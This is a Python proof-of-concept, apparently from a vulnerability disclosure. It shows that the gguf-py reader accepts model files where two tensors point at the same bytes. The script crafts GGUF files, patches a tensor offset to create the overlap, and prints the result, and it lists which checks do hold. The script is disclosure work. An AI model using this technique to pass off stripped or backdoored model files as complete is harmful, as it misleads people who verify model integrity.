File size: 9,232 Bytes
99552a3
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#!/usr/bin/env python3
"""
PoC: GGUF Tensor Data Offset Aliasing -- Model Integrity Attack

Target:   gguf (PyPI), gguf-py from ggml-org/llama.cpp
File:     gguf/gguf_reader.py, GGUFReader._build_tensors()

Root cause (CWE-1284 / CWE-20, missing validation of a structural
invariant): each tensor's absolute file position is computed as

    data_offs = start_offs + offset_tensor[0]

where `offset_tensor` is a per-tensor uint64 read directly from the
tensor-info section of the file, with NO validation that different
tensors' offset_tensor values are unique or non-overlapping.

Tensor NAMES *are* checked for duplicates (`_build_tensors` raises
ValueError on a repeated name) -- but nothing stops two tensors with
DIFFERENT names, shapes, and/or dtypes from pointing at the exact same
(or partially overlapping) bytes. The reader accepts this silently: no
exception, no warning.

Impact: a GGUF file can declare many distinct-looking weight tensors
(correct names, correct shapes) that actually all alias onto a tiny
set of real bytes -- the file "looks complete" while being functionally
near-empty, or a small tensor can be carved out of the middle of a
larger one and get its bytes silently reinterpreted as a different
dtype. This can be used to disguise a stripped-down, fake, or
backdoored model as a full one, and defeats any tool that hashes or
verifies tensors under the assumption that each occupies distinct file
bytes.

This script demonstrates two variants:
  1. Full aliasing: two same-shape, same-dtype tensors made to overlap
     completely -- the second tensor's real declared data becomes
     silently inaccessible.
  2. Partial aliasing across shape/dtype: a small int32 tensor carved
     out of the first 8 bytes of a larger float32 tensor -- its
     "data" turns out to be the exact bit-pattern of the float32
     tensor's first two values, reinterpreted as int32.

It also documents three things that are correctly protected, so the
report is not overstated:
  - duplicate tensor NAMES are rejected (source-level confirmation)
  - aliasing cannot reach backward into the KV-metadata/header region
    (mathematically impossible: offset_tensor is unsigned, and is
    added to start_offs, so the minimum reachable position is
    start_offs itself)
  - a single tensor whose declared offset+size exceeds the actual
    file size IS caught (by the reader's own reshape() validation) --
    the gap is specifically about cross-tensor uniqueness, not
    individual out-of-bounds tensors

Requires: pip install gguf numpy
"""

import struct
import os

import numpy as np
from gguf.gguf_reader import GGUFReader

GGUF_MAGIC = 0x46554747  # "GGUF"
GGUF_VERSION = 3
ALIGNMENT = 32

# GGMLQuantizationType values used below (per gguf.constants)
TYPE_F32 = 0
TYPE_I32 = 26


def _pack_str(s: str) -> bytes:
    b = s.encode("utf-8")
    return struct.pack("<Q", len(b)) + b


def _build_minimal_gguf(path: str, tensors: list[tuple[str, np.ndarray, int]]) -> None:
    """Hand-builds a minimal, spec-correct GGUF file (no external-data,
    no KV metadata beyond one string) so the PoC has no dependency on
    GGUFWriter. `tensors` is a list of (name, numpy_array, ggml_type_id).
    """
    kv_count = 1  # just "general.name"
    tensor_count = len(tensors)

    header = struct.pack("<I", GGUF_MAGIC)
    header += struct.pack("<I", GGUF_VERSION)
    header += struct.pack("<Q", tensor_count)
    header += struct.pack("<Q", kv_count)

    # one KV entry: general.name (string) = "poc-model"
    kv = _pack_str("general.name")
    kv += struct.pack("<I", 8)  # GGUFValueType.STRING = 8
    kv += _pack_str("poc-model")

    # tensor-info entries, offsets computed relative to the (aligned) data start
    ti = b""
    offsets = []
    running_offset = 0
    for name, arr, ggml_type in tensors:
        ti += _pack_str(name)
        ti += struct.pack("<I", 1)          # n_dims
        ti += struct.pack("<Q", arr.size)   # dims[0]
        ti += struct.pack("<I", ggml_type)  # raw dtype
        ti += struct.pack("<Q", running_offset)
        offsets.append(running_offset)
        # GGUF pads each tensor's size up to a 32-byte boundary
        nbytes = arr.nbytes
        padded = (nbytes + ALIGNMENT - 1) // ALIGNMENT * ALIGNMENT
        running_offset += padded

    pre_data = header + kv + ti
    padding = (-len(pre_data)) % ALIGNMENT
    pre_data += b"\x00" * padding

    data = b""
    for name, arr, ggml_type in tensors:
        chunk = arr.tobytes()
        padded_len = (len(chunk) + ALIGNMENT - 1) // ALIGNMENT * ALIGNMENT
        data += chunk + b"\x00" * (padded_len - len(chunk))

    with open(path, "wb") as f:
        f.write(pre_data + data)


def build_legit_file_v1(path: str) -> None:
    real = np.array([1.0, 2.0, 3.0, 4.0], dtype=np.float32)
    other = np.array([9.9, 9.9, 9.9, 9.9], dtype=np.float32)
    _build_minimal_gguf(path, [
        ("blk.0.attn_q.weight", real, TYPE_F32),
        ("blk.0.attn_k.weight", other, TYPE_F32),
    ])


def build_legit_file_v2(path: str) -> None:
    big_f32 = np.array([1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8], dtype=np.float32)
    small_i32 = np.array([111, 222], dtype=np.int32)
    _build_minimal_gguf(path, [
        ("blk.0.big_weight", big_f32, TYPE_F32),
        ("blk.0.small_meta", small_i32, TYPE_I32),
    ])


def patch_tensor_offset(path: str, tensor_name: bytes, new_offset: int, out_path: str) -> None:
    """Locates a tensor's offset_tensor field (the last 8 bytes of its
    tensor-info entry) by name and overwrites it in place."""
    with open(path, "rb") as f:
        data = bytearray(f.read())

    idx = data.find(tensor_name)
    if idx == -1:
        raise RuntimeError(f"tensor name {tensor_name!r} not found")
    after_name = idx + len(tensor_name)
    n_dims = struct.unpack_from("<I", data, after_name)[0]
    pos = after_name + 4 + 8 * n_dims + 4  # skip dims + raw_dtype
    struct.pack_into("<Q", data, pos, new_offset)

    with open(out_path, "wb") as f:
        f.write(data)


def main():
    print("=== Variant 1: full aliasing (same shape/dtype) ===")
    v1_path = "poc_alias_v1_legit.gguf"
    build_legit_file_v1(v1_path)
    print(f"  legit file: {os.path.getsize(v1_path)} bytes, 2 distinct tensors")

    v1_evil = "poc_alias_v1_evil.gguf"
    patch_tensor_offset(v1_path, b"blk.0.attn_k.weight", 0, v1_evil)
    print("  patched only the 8-byte offset field of attn_k.weight -> 0 (aliases attn_q.weight)")

    r = GGUFReader(v1_evil)
    tensors = {t.name: t for t in r.tensors}
    q, k = tensors["blk.0.attn_q.weight"], tensors["blk.0.attn_k.weight"]
    print(f"  attn_q.weight: offset={q.data_offset} data={q.data}")
    print(f"  attn_k.weight: offset={k.data_offset} data={k.data}")
    print(f"  -> both tensors report identical data: {np.array_equal(q.data, k.data)}")
    print("  -> attn_k.weight's REAL declared data (9.9,9.9,9.9,9.9) is silently gone.\n")

    print("=== Variant 2: partial overlap, different shape AND dtype ===")
    v2_path = "poc_alias_v2_legit.gguf"
    build_legit_file_v2(v2_path)
    print(f"  legit file: {os.path.getsize(v2_path)} bytes, big_weight(F32x8) + small_meta(I32x2)")

    v2_evil = "poc_alias_v2_evil.gguf"
    patch_tensor_offset(v2_path, b"blk.0.small_meta", 0, v2_evil)
    print("  patched small_meta's offset -> 0 (aliases onto big_weight's first 8 bytes)")

    r2 = GGUFReader(v2_evil)
    tensors2 = {t.name: t for t in r2.tensors}
    big, small = tensors2["blk.0.big_weight"], tensors2["blk.0.small_meta"]
    big_f32 = np.array([1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8], dtype=np.float32)
    print(f"  big_weight (F32): {big.data}")
    print(f"  small_meta (I32): {small.data}")
    expected_bits = big_f32[:2].tobytes()
    actual_bits = small.data.tobytes()
    print(f"  -> small_meta's bytes exactly match big_weight's first 8 bytes reinterpreted: "
          f"{expected_bits == actual_bits}")
    print("  -> a tensor of ANY declared shape/dtype can be carved out of ANY byte range,\n"
          "     regardless of what other tensor(s) claim that same range.\n")

    print("=== Protections confirmed present (for completeness) ===")
    print("  - Duplicate tensor NAMES are rejected: gguf_reader.py's _build_tensors()")
    print("    raises ValueError('Found duplicated tensor with name ...') -- confirmed")
    print("    by direct source reading (not re-demonstrated here; constructing a")
    print("    structurally-valid duplicate-name file requires rewriting tensor_count")
    print("    and shifting all subsequent offsets).")
    print("  - Aliasing cannot reach backward into the KV-metadata/header region:")
    print("    offset_tensor is an unsigned uint64 added to start_offs, so the minimum")
    print("    reachable position is start_offs itself -- mathematically not exploitable")
    print("    for reading pre-tensor-data file structures.")
    print("  - A single tensor whose declared offset+size exceeds the actual file size")
    print("    IS caught, via GGUFReader's own numpy reshape() validation -- the gap")
    print("    demonstrated here is specifically about CROSS-tensor uniqueness, not")
    print("    individual tensor bounds checking.")


if __name__ == "__main__":
    main()